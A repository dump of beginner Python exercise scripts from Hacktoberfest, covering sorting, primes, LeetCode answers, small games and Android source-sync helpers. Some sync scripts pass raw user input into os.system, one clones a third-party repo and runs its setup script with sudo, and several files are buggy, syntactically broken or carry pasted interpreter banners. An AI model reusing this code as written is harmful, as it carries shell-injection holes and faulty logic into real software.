| print (str1[match.a: match.a + match.size]) 18 | else: 19 | print ('No longest common sub-string found') 20 | 21 | # Driver program 22 | if __name__ == "__main__": 23 | str1 = 'GeeksforGeeks' 24 | str2 = 'GeeksQuiz' 25 | longestSubstring(str1,str2) 26 | -------------------------------------------------------------------------------- /Hacktober2022/los.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) TechyMinati ( Aryan Sinha ) 4 | import os 5 | import sys 6 | print ("==========================================") 7 | print (" Welcome to LineageOS Sync Script ") 8 | print ("==========================================") 9 | n=input("Press Y to Continue, N to Exit: ") 10 | if (n=="Y") or (n=="y") : 11 | print("Starting Sync..") 12 | print (" Warning: Repo is needed to be installed in prior of running this script") 13 | branch = input("Enter the branch name to sync: ") 14 | os.system(f'repo init -u git://github.com/LineageOS/android.git -b {branch}') 15 | print ("Starting Repo Sync") 16 | os.system('repo sync -c --force-sync --optimized-fetch --no-tags --no-clone-bundle --prune -j$(nproc --all)') 17 | else : 18 | print("Re run script to start sync incase you mistakenly pressed 'N' ") 19 | 20 | -------------------------------------------------------------------------------- /Hacktober2022/maxPerformance.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def maxPerformance(self, n: int, speed: List[int], efficiency: List[int], k: int) -> int: 3 | 4 | cur_sum, h = 0, [] 5 | ans = -float('inf') 6 | 7 | for i, j in sorted(zip(efficiency, speed),reverse=True): 8 | while len(h) > k-1: 9 | cur_sum -= heappop(h) 10 | heappush(h, j) 11 | cur_sum += j 12 | ans = max(ans, cur_sum * i) 13 | 14 | return ans % (10**9+7) 15 | -------------------------------------------------------------------------------- /Hacktober2022/median_of_2_sorted_array.py: -------------------------------------------------------------------------------- 1 | # Python3 program for the above approach 2 | def Solution(arr): 3 | 4 | n = len(arr) 5 | 6 | # If length of array is even 7 | if n % 2 == 0: 8 | z = n // 2 9 | e = arr[z] 10 | q = arr[z - 1] 11 | ans = (e + q) / 2 12 | return ans 13 | 14 | # If length of array is odd 15 | else: 16 | z = n // 2 17 | ans = arr[z] 18 | return ans 19 | 20 | # Driver code 21 | if __name__ == "__main__": 22 | 23 | arr1 = [ -5, 3, 6, 12, 15 ] 24 | arr2 = [ -12, -10, -6, -3, 4, 10 ] 25 | 26 | # Concatenating the two arrays 27 | arr3 = arr1 + arr2 28 | 29 | # Sorting the resultant array 30 | arr3.sort() 31 | 32 | print("Median = ", Solution(arr3)) 33 | -------------------------------------------------------------------------------- /Hacktober2022/mergeTwoSortedArrays.py: -------------------------------------------------------------------------------- 1 | def merge(num1, num2): 2 | arr3 = [None]*(len(num1)+len(num2)) 3 | i, j, k = 0, 0, 0 4 | 5 | while i < len(arr1) and j < len(arr2): 6 | if arr1[i] < arr2[j]: 7 | arr3[k] = arr1[i] 8 | k += 1 9 | i += 1 10 | else: 11 | arr3[k] = arr2[j] 12 | k += 1 13 | j += 1 14 | 15 | while i < len(num1): 16 | arr3[k] = arr1[i] 17 | k += 1 18 | i += 1 19 | 20 | while j < len(num2): 21 | arr3[k] = arr2[j] 22 | k += 1 23 | j += 1 24 | 25 | return arr3 26 | 27 | arr1 = [3, 5, 6, 10] 28 | arr2 = [1, 2, 7, 8, 11, 12] 29 | assert merge(arr1, arr2) == [1, 2, 3, 5, 6, 7, 8, 10, 11, 12] 30 | arr1 = [1, 3, 4, 5] 31 | arr2 = [2, 4, 6, 8] 32 | assert merge(arr1, arr2) == [1, 2, 3, 4, 4, 5, 6, 8] 33 | arr1 = [5, 8, 9] 34 | arr2 = [4, 7, 8] 35 | assert merge(arr1, arr2) == [4, 5, 7, 8, 8, 9] -------------------------------------------------------------------------------- /Hacktober2022/mergesort.py: -------------------------------------------------------------------------------- 1 | # MergeSort in Python 2 | 3 | 4 | def mergeSort(array): 5 | if len(array) > 1: 6 | 7 | # r is the point where the array is divided into two subarrays 8 | r = len(array)//2 9 | L = array[:r] 10 | M = array[r:] 11 | 12 | # Sort the two halves 13 | mergeSort(L) 14 | mergeSort(M) 15 | 16 | i = j = k = 0 17 | 18 | # Until we reach either end of either L or M, pick larger among 19 | # elements L and M and place them in the correct position at A[p..r] 20 | while i < len(L) and j < len(M): 21 | if L[i] < M[j]: 22 | array[k] = L[i] 23 | i += 1 24 | else: 25 | array[k] = M[j] 26 | j += 1 27 | k += 1 28 | 29 | # When we run out of elements in either L or M, 30 | # pick up the remaining elements and put in A[p..r] 31 | while i < len(L): 32 | array[k] = L[i] 33 | i += 1 34 | k += 1 35 | 36 | while j < len(M): 37 | array[k] = M[j] 38 | j += 1 39 | k += 1 40 | 41 | 42 | # Print the array 43 | def printList(array): 44 | for i in range(len(array)): 45 | print(array[i], end=" ") 46 | print() 47 | 48 | 49 | # Driver program 50 | if __name__ == '__main__': 51 | array = [6, 5, 12, 10, 9, 1] 52 | 53 | mergeSort(array) 54 | 55 | print("Sorted array is: ") 56 | printList(array) -------------------------------------------------------------------------------- /Hacktober2022/multiply.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Divyanshu-Modi 4 | 5 | # Take Input of two numbers from the user 6 | n1 = input('Enter first number: ') 7 | n2 = input('Enter second number: ') 8 | 9 | # multiply the two numbers taken from the user 10 | product = float(n1) * float(n2) 11 | 12 | # Display the product of two numbers 13 | print('The product of is {0}'.format(product)) -------------------------------------------------------------------------------- /Hacktober2022/orgate.py: -------------------------------------------------------------------------------- 1 | ''' An OR Gate is a logic gate in boolean algebra which results to True(1) if any of the input is 2 | 1, OR False(0) if both the inputs are 0. 3 | Following is the truth table of an OR Gate: 4 | | Input 1 | Input 2 | Output | 5 | | 0 | 0 | 0 | 6 | | 0 | 1 | 1 | 7 | | 1 | 0 | 1 | 8 | | 1 | 1 | 1 | 9 | ''' 10 | '''Following is the code implementation of the OR Gate''' 11 | 12 | def OR_Gate(input_1,input_2): 13 | if input_1 == input_2 == 0: 14 | return 0 15 | else: 16 | return 1 17 | if __name__== '__main__': 18 | print('Truth Table of OR Gate:') 19 | print('| Input 1 |',' Input 2 |',' Output |') 20 | print('| 0 |',' 0 | ',OR_Gate(0,0),' |') 21 | print('| 0 |',' 1 | ',OR_Gate(0,1),' |') 22 | print('| 1 |',' 0 | ',OR_Gate(1,0),' |') 23 | print('| 1 |',' 1 | ',OR_Gate(1,1),' |') 24 | 25 | '''Code provided by Akshaj Vishwanathan''' 26 | -------------------------------------------------------------------------------- /Hacktober2022/palindrome.py: -------------------------------------------------------------------------------- 1 | #python program to check if an integre is palindrome or not. 2 | #A number is a palindrome if it is same when forward or backward. For example: 121,12321,3443,543212345 3 | 4 | 5 | #First coding approach 6 | 7 | def pal(n): 8 | t=int(n) 9 | p=0 10 | while n>0: 11 | d=n%10 #finds out the digit at ones place. ex: 121%10=1 12 | p=p*10+d #p=0*10+1=1 for the first iteration of the loop then p=1*10+2=12 and then p=12*10+1=121 13 | n=n//10 #to remove the last digit from the number. for example: 121//10=12 14 | 15 | if t==p: #if the reversed and the original integers are equal then the integer is a palindrome 16 | return True 17 | else: 18 | return False 19 | 20 | 21 | #Second Coding approach 22 | 23 | def pal_2(x): 24 | if x>0: 25 | return str(x)==str(x)[::-1] #storing the integer in a string and then reversing it and checking if both are equal or not 26 | elif x<0: 27 | x=x*(-1) #this is done to remove the negative sign(-121 becomes 121) so that it can be stored as a string and negative sign is not present as a character 28 | return str(x)==str(x)[::-1] 29 | 30 | -------------------------------------------------------------------------------- /Hacktober2022/password_generator_python.py: -------------------------------------------------------------------------------- 1 | import random 2 | letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] 3 | numbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] 4 | symbols = ['!', '#', '$', '%', '&', '(', ')', '*', '+'] 5 | 6 | nr_letters = int(input("How many letters would you like in your password?\n")) 7 | nr_symbols = int(input(f"How many symbols would you like?\n")) 8 | nr_numbers = int(input(f"How many numbers would you like?\n")) 9 | 10 | password_list = [] 11 | 12 | for char in range(1, nr_letters + 1): 13 | password_list.append(random.choice(letters)) 14 | 15 | for char in range(1, nr_symbols + 1): 16 | password_list += random.choice(symbols) 17 | 18 | for char in range(1, nr_numbers + 1): 19 | password_list += random.choice(numbers) 20 | 21 | print(password_list) 22 | random.shuffle(password_list) 23 | print(password_list) 24 | 25 | password = "" 26 | for char in password_list: 27 | password += char 28 | 29 | print(f"Your password is: {password}") -------------------------------------------------------------------------------- /Hacktober2022/passwordgenerator.py: -------------------------------------------------------------------------------- 1 | # Generate Strong Random Passwords 2 | import string 3 | import random 4 | # Script to generate passwords 5 | word_length = 18 6 | # Generate a list of letters, digits, and some punctuation 7 | components = [string.ascii_letters, string.digits, "!@#$%&"] 8 | # flatten the components into a list of characters 9 | chars = [] 10 | for clist in components: 11 | for item in clist: 12 | chars.append(item) 13 | def generate_password(): 14 | # Store the password 15 | password = [] 16 | # Choose a random item from 'chars' and add it to 'password' 17 | for i in range(word_length): 18 | rchar = random.choice(chars) 19 | password.append(rchar) 20 | # Return the composed password as a string 21 | return "".join(password) 22 | # Output generated password 23 | print(generate_password()) 24 | -------------------------------------------------------------------------------- /Hacktober2022/pbrp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) eun0115 ( eun ) 4 | import os 5 | import sys 6 | os.makedirs('pbrp') 7 | os.system('sudo apt update') 8 | os.system('sudo apt upgrade') 9 | os.system('git clone https://github.com/akhilnarang/scripts') 10 | os.chdir('scripts') 11 | os.system('bash setup/android_build_env.sh') 12 | os.chdir('../pbrp') 13 | import time 14 | print ("==========================================================") 15 | print (" Welcome to PitchBlackRecoveryProject Sync Script ") 16 | print ("==========================================================") 17 | time.sleep(3) 18 | import time 19 | print ("==========================================================") 20 | print (" Do you want to sync the Source? ") 21 | print ("==========================================================") 22 | time.sleep(1) 23 | n=input("Press Y to Continue, N to Exit: ") 24 | if (n=="Y") or (n=="y") : 25 | print("Starting Sync..") 26 | print(" Warning: Repo is needed to be installed in prior of running this script") 27 | os.system('repo init -u git://github.com/PitchBlackRecoveryProject/manifest_pb -b android-11.0') 28 | print ("Starting Repo Sync") 29 | os.system('repo sync -c --force-sync --optimized-fetch --no-tags --no-clone-bundle --prune -j$(nproc --all)') 30 | else : 31 | import time 32 | time.sleep(3) 33 | print("Re-run the script again to start sync incase you mistakenly pressed 'N' ") 34 | 35 | -------------------------------------------------------------------------------- /Hacktober2022/pe.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | print ("==========================================") 4 | print (" Welcome to PE Sync Script ") 5 | print ("==========================================") 6 | n=input("Press Y to Continue, N to Exit: ") 7 | if (n=="Y") or (n=="y") : 8 | print("Starting Sync..") 9 | print (" Warning: Repo is needed to be installed in prior of running this script) 10 | branch = input("Enter the branch name to sync: ") 11 | os.system(f'repo init -u https://github.com/PixelExperience/manifest -b {branch}') 12 | print ("Starting Repo Sync") 13 | os.system('repo sync -c --force-sync --optimized-fetch --no-tags --no-clone-bundle --prune -j$(nproc --all)') 14 | else : 15 | print("Re run script to start sync incase you mistakenly pressed 'N' ") 16 | -------------------------------------------------------------------------------- /Hacktober2022/prime.py: -------------------------------------------------------------------------------- 1 | # Program to check if a number is prime or not 2 | 3 | 4 | # To take input from the user 5 | num = int(input("Enter a number: ")) 6 | 7 | # define a flag variable 8 | flag = False 9 | 10 | # prime numbers are greater than 1 11 | if num > 1: 12 | # check for factors 13 | for i in range(2, num): 14 | if (num % i) == 0: 15 | # if factor is found, set flag to True 16 | flag = True 17 | # break out of loop 18 | break 19 | else: 20 | #n=1 isn't prime 21 | flag=True 22 | # check if flag is True 23 | if flag: 24 | print(num, "is not a prime number") 25 | else: 26 | print(num, "is a prime number") -------------------------------------------------------------------------------- /Hacktober2022/primeornot.py: -------------------------------------------------------------------------------- 1 | # Program to check if a number is prime or not 2 | 3 | num = 29 4 | 5 | # To take input from the user 6 | #num = int(input("Enter a number: ")) 7 | 8 | # define a flag variable 9 | flag = False 10 | 11 | # prime numbers are greater than 1 12 | if num > 1: 13 | # check for factors 14 | for i in range(2, num): 15 | if (num % i) == 0: 16 | # if factor is found, set flag to True 17 | flag = True 18 | # break out of loop 19 | break 20 | 21 | # check if flag is True 22 | if flag: 23 | print(num, "is not a prime number") 24 | else: 25 | print(num, "is a prime number") 26 | -------------------------------------------------------------------------------- /Hacktober2022/print-all-primes-in-an-interval.py: -------------------------------------------------------------------------------- 1 | # Python program to print all 2 | # prime number in an interval 3 | 4 | def prime(x, y): 5 | prime_list = [] 6 | for i in range(x, y): 7 | if i == 0 or i == 1: 8 | continue 9 | else: 10 | for j in range(2, int(i/2)+1): 11 | if i % j == 0: 12 | break 13 | else: 14 | prime_list.append(i) 15 | return prime_list 16 | 17 | # Driver program 18 | starting_range = 2 19 | ending_range = 7 20 | lst = prime(starting_range, ending_range) 21 | if len(lst) == 0: 22 | print("There are no prime numbers in this range") 23 | else: 24 | print("The prime numbers in this range are: ", lst) 25 | -------------------------------------------------------------------------------- /Hacktober2022/print-negative-no-in-a-list.py: -------------------------------------------------------------------------------- 1 | # Python program to print negative Numbers in a List 2 | 3 | # list of numbers 4 | list1 = [11, -21, 0, 45, 66, -93] 5 | 6 | # iterating each number in list 7 | for num in list1: 8 | 9 | # checking condition 10 | if num < 0: 11 | print(num, end=" ") 12 | -------------------------------------------------------------------------------- /Hacktober2022/qr-generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import qrcode 3 | img = qrcode.make("https://github.com/techyminati/python_codes") 4 | img.save("output.jpg") 5 | -------------------------------------------------------------------------------- /Hacktober2022/quickSort.py: -------------------------------------------------------------------------------- 1 | def partition (a, start, end): 2 | i = (start - 1) 3 | pivot = a[end] # pivot element 4 | 5 | for j in range(start, end): 6 | # If current element is smaller than or equal to the pivot 7 | if (a[j] <= pivot): 8 | i = i + 1 9 | a[i], a[j] = a[j], a[i] 10 | 11 | a[i+1], a[end] = a[end], a[i+1] 12 | 13 | return (i + 1) 14 | 15 | # function to implement quick sort 16 | def quick(a, start, end): # a[] = array to be sorted, start = Starting index, end = Ending index 17 | if (start < end): 18 | p = partition(a, start, end) # p is partitioning index 19 | quick(a, start, p - 1) 20 | quick(a, p + 1, end) 21 | 22 | 23 | def printArr(a): # function to print the array 24 | for i in range(len(a)): 25 | print (a[i], end = " ") 26 | 27 | 28 | a = [68, 13, 1, 49, 58] 29 | print("Before sorting array elements are - ") 30 | printArr(a) 31 | quick(a, 0, len(a)-1) 32 | print("\nAfter sorting array elements are - ") 33 | printArr(a) 34 | -------------------------------------------------------------------------------- /Hacktober2022/rangoli.py: -------------------------------------------------------------------------------- 1 | # define the input 2 | def solve(n): 3 | for i in range(n-1,-1,-1): 4 | for j in range(i): 5 | print(end="--") 6 | for j in range(n-1,i,-1): 7 | print(chr(j+97),end="-") 8 | for j in range(i,n): 9 | if j != n-1: 10 | print(chr(j+97),end="-") 11 | else: 12 | print(chr(j+97),end="") 13 | for j in range(2*i): 14 | print(end="-") 15 | print() 16 | for i in range(1,n): 17 | for j in range(i): 18 | print(end="--") 19 | for j in range(n-1,i,-1): 20 | print(chr(j+97),end="-") 21 | for j in range(i,n): 22 | if j != n-1: 23 | print(chr(j+97),end="-") 24 | else: 25 | print(chr(j+97),end="") 26 | for j in range(2*i): 27 | print(end="-") 28 | print() 29 | 30 | n = 8 31 | solve(n) 32 | 33 | ##For testing purpose only 34 | ##You can change 'n' value to get different output 35 | 36 | #Input = 8 37 | 38 | #Output: 39 | 40 | # --------------h-------------- 41 | # ------------h-g-h------------ 42 | # ----------h-g-f-g-h---------- 43 | # --------h-g-f-e-f-g-h-------- 44 | # ------h-g-f-e-d-e-f-g-h------ 45 | # ----h-g-f-e-d-c-d-e-f-g-h---- 46 | # --h-g-f-e-d-c-b-c-d-e-f-g-h-- 47 | # h-g-f-e-d-c-b-a-b-c-d-e-f-g-h 48 | # --h-g-f-e-d-c-b-c-d-e-f-g-h-- 49 | # ----h-g-f-e-d-c-d-e-f-g-h---- 50 | # ------h-g-f-e-d-e-f-g-h------ 51 | # --------h-g-f-e-f-g-h-------- 52 | # ----------h-g-f-g-h---------- 53 | # ------------h-g-h------------ 54 | # --------------h-------------- 55 | -------------------------------------------------------------------------------- /Hacktober2022/rectangle.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | #Simple program to print rectangle of desired width and length 3 | l = int(input("Enter Length : ")) 4 | b = int(input("Enter Breadth : ")) 5 | x = 1 6 | print("*"*b) 7 | if b > 3 : 8 | for i in range(1,l-1): 9 | print("*"," "*(b-4),"*") 10 | x = x+1 11 | elif b == 3: 12 | for i in range(1,l-1): 13 | print("*","*") 14 | x = x+1 15 | else : 16 | for i in range(1,l-1): 17 | print("*"*b) 18 | x = x+1 19 | if l > 1: 20 | print("*"*b) 21 | -------------------------------------------------------------------------------- /Hacktober2022/reddit.py: -------------------------------------------------------------------------------- 1 | import praw 2 | from Config import * 3 | 4 | def getMemes(subredditTitle): 5 | reddit_read_only = praw.Reddit(client_id = REDDIT_CLIENT_ID, client_secret = REDDIT_CLIENT_SECRET, user_agent = REDDIT_USER_AGENT) 6 | subreddit = reddit_read_only.subreddit(str(subredditTitle)) 7 | posts = subreddit.new(limit = 10) 8 | memePosts=[] 9 | for post in posts: 10 | memePost={ 11 | 'title':post.title, 12 | 'postText':post.selftext, 13 | 'postImgUrl':post.url, 14 | } 15 | memePosts.append(memePost) 16 | return memePosts -------------------------------------------------------------------------------- /Hacktober2022/remove-occurrences-of-substring,py: -------------------------------------------------------------------------------- 1 | # Answer to this : https://leetcode.com/problems/remove-all-occurrences-of-a-substring/ 2 | # Given two strings s and part, perform the following operation on s until all occurrences of the substring part are removed: 3 | # Find the leftmost occurrence of the substring part and remove it from s. 4 | # Return s after removing all occurrences of part. 5 | # A substring is a contiguous sequence of characters in a string. 6 | 7 | s = input() 8 | part = input() 9 | while s.find(part) > 0 : 10 | s = s[:s.find(part)] + s[s.find(part) + len(part) :] 11 | print(s) 12 | -------------------------------------------------------------------------------- /Hacktober2022/reverse_a_linked_list.py: -------------------------------------------------------------------------------- 1 | 2 | class Node: 3 | 4 | # Constructor to initialize the node object 5 | def __init__(self, data): 6 | self.data = data 7 | self.next = None 8 | 9 | 10 | class LinkedList: 11 | 12 | 13 | def __init__(self): 14 | self.head = None 15 | 16 | 17 | def reverse(self): 18 | prev = None 19 | current = self.head 20 | while(current is not None): 21 | next = current.next 22 | current.next = prev 23 | prev = current 24 | current = next 25 | self.head = prev 26 | 27 | 28 | def push(self, new_data): 29 | new_node = Node(new_data) 30 | new_node.next = self.head 31 | self.head = new_node 32 | 33 | 34 | def printList(self): 35 | temp = self.head 36 | while(temp): 37 | print temp.data, 38 | temp = temp.next 39 | 40 | 41 | 42 | llist = LinkedList() 43 | llist.push(20) 44 | llist.push(4) 45 | llist.push(15) 46 | llist.push(85) 47 | 48 | print "Given Linked List" 49 | llist.printList() 50 | llist.reverse() 51 | print "\nReversed Linked List" 52 | llist.printList() 53 | 54 | 55 | -------------------------------------------------------------------------------- /Hacktober2022/shape1.py: -------------------------------------------------------------------------------- 1 | for i in range(0,5): 2 | for j in range(0,i): 3 | print("*",end="") 4 | print("\r") 5 | -------------------------------------------------------------------------------- /Hacktober2022/shellSort.py: -------------------------------------------------------------------------------- 1 | def shellSort(array, n): 2 | 3 | # Rearrange elements at each n/2, n/4, n/8, ... intervals 4 | interval = n // 2 5 | while interval > 0: 6 | for i in range(interval, n): 7 | temp = array[i] 8 | j = i 9 | while j >= interval and array[j - interval] > temp: 10 | array[j] = array[j - interval] 11 | j -= interval 12 | 13 | array[j] = temp 14 | interval //= 2 15 | 16 | 17 | data = [9, 8, 3, 7, 5, 6, 4, 1] 18 | size = len(data) 19 | shellSort(data, size) 20 | print('Sorted Array in Ascending Order:') 21 | print(data) 22 | -------------------------------------------------------------------------------- /Hacktober2022/shutdown.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | #simple script to shutdown the computer 4 | 5 | shutdown = input("Do you want to shutdown the computer? (y/n)") 6 | 7 | # If the user does want to shutdown their machine, then shut it down, else exit 8 | 9 | if shutdown == 'y': 10 | os.system("shutdown /t /s 1") 11 | else: 12 | print('You do not want to shutdown the machine, why did you run the script?') -------------------------------------------------------------------------------- /Hacktober2022/simple-interest.py: -------------------------------------------------------------------------------- 1 | # Python3 program to find simple interest 2 | # for given principal amount, time and 3 | # rate of interest. 4 | 5 | 6 | def simple_interest(p,t,r): 7 | print('The principal is', p) 8 | print('The time period is', t) 9 | print('The rate of interest is',r) 10 | 11 | si = (p * t * r)/100 12 | 13 | print('The Simple Interest is', si) 14 | return si 15 | 16 | # Driver code 17 | simple_interest(8, 6, 8) 18 | -------------------------------------------------------------------------------- /Hacktober2022/smallestElement.py: -------------------------------------------------------------------------------- 1 | arr = [] 2 | n = int(input("Enter number of elements : ")) 3 | for i in range(0, n): 4 | ele = int(input()) 5 | 6 | arr.append(ele) 7 | min = arr[0]; 8 | for i in range(0, len(arr)): 9 | if(arr[i] < min): 10 | min = arr[i]; 11 | 12 | print("Smallest element present in given array: " + str(min)); 13 | -------------------------------------------------------------------------------- /Hacktober2022/snake-water-gun-game.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | 4 | def gameWin(comp, you): 5 | if comp == you: 6 | return None 7 | elif comp == "s": 8 | if you == "w": 9 | return False 10 | elif you == "g": 11 | return True 12 | elif comp == "w": 13 | if you == "g": 14 | return False 15 | elif you == "s": 16 | return True 17 | elif comp == "g": 18 | if you == "w": 19 | return True 20 | elif you == "s": 21 | return False 22 | 23 | 24 | print("Computer Turn: Snake(s) Water(w) Gun(g)?") 25 | 26 | randNo = random.randint(1, 3) 27 | print(randNo) 28 | 29 | if randNo == 1: 30 | comp = "s" 31 | elif randNo == 2: 32 | comp = "w" 33 | elif randNo == 3: 34 | comp = "g" 35 | 36 | you = input("Your Turn: Snake(s) Water(w) Gun(g)?") 37 | 38 | a = gameWin(comp, you) 39 | 40 | print(f"Computer chose {comp}") 41 | print(f"You chose {you}") 42 | 43 | if a == None: 44 | print("The game is a tie!") 45 | elif a: 46 | print("You win!") 47 | else: 48 | print("You lose!") 49 | -------------------------------------------------------------------------------- /Hacktober2022/speak_function.py: -------------------------------------------------------------------------------- 1 | import pyttsx3 2 | 3 | ''' 4 | this will create a variable sound that'll store the sapi5 5 | in it.and them we'll dump the voices in the sound and set it's voice to 6 | be male or female. 7 | ''' 8 | sound = pyttsx3.init('sapi5') 9 | voice = sound.getProperty('voices') 10 | sound.setProperty('voice',voice[0].id) #voice[0] is male and voice[1] is female 11 | 12 | def speak(audio): 13 | sound.say(audio) 14 | sound.runAndWait() 15 | 16 | 17 | if __name__ == "__main__": 18 | acous = input("WRITE SOMETHING......\n") 19 | speak(acous) 20 | -------------------------------------------------------------------------------- /Hacktober2022/speed-test.py: -------------------------------------------------------------------------------- 1 | import speedtest as st 2 | 3 | # Define Speed 4 | speed = st.Speedtest() 5 | 6 | # Also define Download and upload speed 7 | 8 | download_speed = speed.download() 9 | upload_speed = speed.upload() 10 | 11 | # Print the speed now! 12 | 13 | print(f'Your Download speed is {download_speed}') 14 | print(f'Your Upload speed is {upload_speed}') 15 | 16 | -------------------------------------------------------------------------------- /Hacktober2022/stack.py: -------------------------------------------------------------------------------- 1 | # Python program to implement a stack 2 | 3 | stack = [] 4 | 5 | stack.append('a') 6 | stack.append('b') 7 | stack.append('c') 8 | 9 | print('Initial stack') 10 | print(stack) 11 | 12 | print('\nElements popped from stack:') 13 | print(stack.pop()) 14 | print(stack.pop()) 15 | print(stack.pop()) 16 | 17 | print('\nStack after elements are popped:') 18 | print(stack) 19 | -------------------------------------------------------------------------------- /Hacktober2022/stock.py: -------------------------------------------------------------------------------- 1 | #Answer to this - https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/ 2 | #You are given an integer array prices where prices[i] is the price of a given stock on the ith day. 3 | #On each day, you may decide to buy and/or sell the stock. You can only hold at most one share of the stock at any time. However, you can buy it then immediately sell it on the same day. 4 | #Find and return the maximum profit you can achieve. 5 | 6 | 7 | class Solution: 8 | def maxProfit(self, prices: List[int]) -> int: 9 | i = 0 10 | j = 1 11 | profit = [0] 12 | while j <= len(prices)-1 : 13 | if prices[i] > prices[j] : 14 | i = i + 1 15 | else : 16 | if j == len(prices)-1 : 17 | profit[0] = profit[0] + (prices[j] - prices[i]) 18 | j = j + 1 19 | elif prices[j] > prices[j + 1]: 20 | profit[0] = profit[0] + (prices[j] - prices[i]) 21 | i = j 22 | j = j + 1 23 | else : 24 | j = j + 1 25 | 26 | return max(profit) 27 | -------------------------------------------------------------------------------- /Hacktober2022/watering-plants.py: -------------------------------------------------------------------------------- 1 | # Answer to this - https://leetcode.com/problems/watering-plants/ 2 | #You want to water n plants in your garden with a watering can. The plants are arranged in a row and are labeled from 0 to n - 1 from left to right where the ith plant is located at x = i. There is a river at x = -1 that you can refill your watering can at. 3 | #Each plant needs a specific amount of water. You will water the plants in the following way: 4 | #Water the plants in order from left to right. 5 | #After watering the current plant, if you do not have enough water to completely water the next plant, return to the river to fully refill the watering can. 6 | #You cannot refill the watering can early. 7 | #You are initially at the river (i.e., x = -1). It takes one step to move one unit on the x-axis. 8 | #Given a 0-indexed integer array plants of n integers, where plants[i] is the amount of water the ith plant needs, and an integer capacity representing the watering can capacity, return the number of steps needed to water all the plants. 9 | 10 | plants = input("Enter the capacity of water required to water each plant seperated by spaces\n") 11 | list = plants.split() 12 | original_capacity = capacity = int(input("Enter the capacity of water that can be stored in the bucket\n")) 13 | i = 0 14 | index = 0 15 | steps = 0 16 | while i < len(list) : 17 | if int(list[i]) > capacity : 18 | steps = steps + 2 * i + 1 19 | capacity = original_capacity 20 | else : 21 | steps += 1 22 | capacity = capacity - int(list[i]) 23 | i += 1 24 | print(steps) 25 | -------------------------------------------------------------------------------- /Hacktober2022/wordguess.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) TechyMinati ( Aryan Sinha ) 4 | import random 5 | # library that we use in order to choose 6 | # on random words from a list of words 7 | 8 | name = input("What is your name? ") 9 | # Here the user is asked to enter the name first 10 | 11 | print("Good Luck ! ", name) 12 | 13 | words = ['hacktober', 'computer', 'science', 'programming', 14 | 'python', 'mathematics', 'player', 'condition', 15 | 'reverse', 'water', 'board', 'geeks'] 16 | 17 | # Function will choose one random 18 | # word from this list of words 19 | word = random.choice(words) 20 | 21 | 22 | print("Guess the characters") 23 | 24 | guesses = '' 25 | 26 | # any number of turns can be used here 27 | turns = 12 28 | 29 | 30 | while turns > 0: 31 | 32 | # counts the number of times a user fails 33 | failed = 0 34 | 35 | # all characters from the input 36 | # word taking one at a time. 37 | for char in word: 38 | 39 | # comparing that character with 40 | # the character in guesses 41 | if char in guesses: 42 | print(char, end=" ") 43 | 44 | else: 45 | print("_") 46 | print(char, end=" ") 47 | 48 | # for every failure 1 will be 49 | # incremented in failure 50 | failed += 1 51 | 52 | if failed == 0: 53 | # user will win the game if failure is 0 54 | # and 'You Win' will be given as output 55 | print("You Win") 56 | 57 | # this print the correct word 58 | print("The word is: ", word) 59 | break 60 | 61 | # if user has input the wrong alphabet then 62 | # it will ask user to enter another alphabet 63 | print() 64 | guess = input("guess a character:") 65 | 66 | # every input character will be stored in guesses 67 | guesses += guess 68 | 69 | # check input with the character in word 70 | if guess not in word: 71 | 72 | turns -= 1 73 | 74 | # if the character doesn’t match the word 75 | # then “Wrong” will be given as output 76 | print("Wrong") 77 | 78 | # this will print the number of 79 | # turns left for the user 80 | print("You have", + turns, 'more guesses') 81 | 82 | if turns == 0: 83 | print("You Loose") 84 | -------------------------------------------------------------------------------- /Hacktober2023/141. Linked List Cycle-leedcode.py: -------------------------------------------------------------------------------- 1 | Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug 1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32 2 | Type "help", "copyright", "credits" or "license()" for more information. 3 | def hasCycle(self, head: Optional[ListNode]) -> bool: 4 | list=[] 5 | a=head 6 | while a!=None: 7 | if(a in list): 8 | return True 9 | else: 10 | list.append(a) 11 | a=a.next 12 |     return False -------------------------------------------------------------------------------- /Hacktober2023/203. Remove Linked List Elements-leedcode.py: -------------------------------------------------------------------------------- 1 | Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug 1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32 2 | Type "help", "copyright", "credits" or "license()" for more information. 3 | def removeElements(self, head: Optional[ListNode], val: int) -> Optional[ListNode]: 4 | curr=head 5 | prev=head 6 | if(head==None): 7 | return 8 | while head: 9 | if(head.val==val): 10 | head=head.next 11 | else: 12 | break 13 | while curr: 14 | if(curr.val==val): 15 | prev.next=curr.next 16 | curr=prev 17 | prev=curr 18 | curr=curr.next 19 |      return head -------------------------------------------------------------------------------- /Hacktober2023/21. Merge Two Sorted Lists-leedcode.py: -------------------------------------------------------------------------------- 1 | Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug 1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32 2 | Type "help", "copyright", "credits" or "license()" for more information. 3 | def mergeTwoLists(self, list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]: 4 | l=ListNode() 5 | tail=l 6 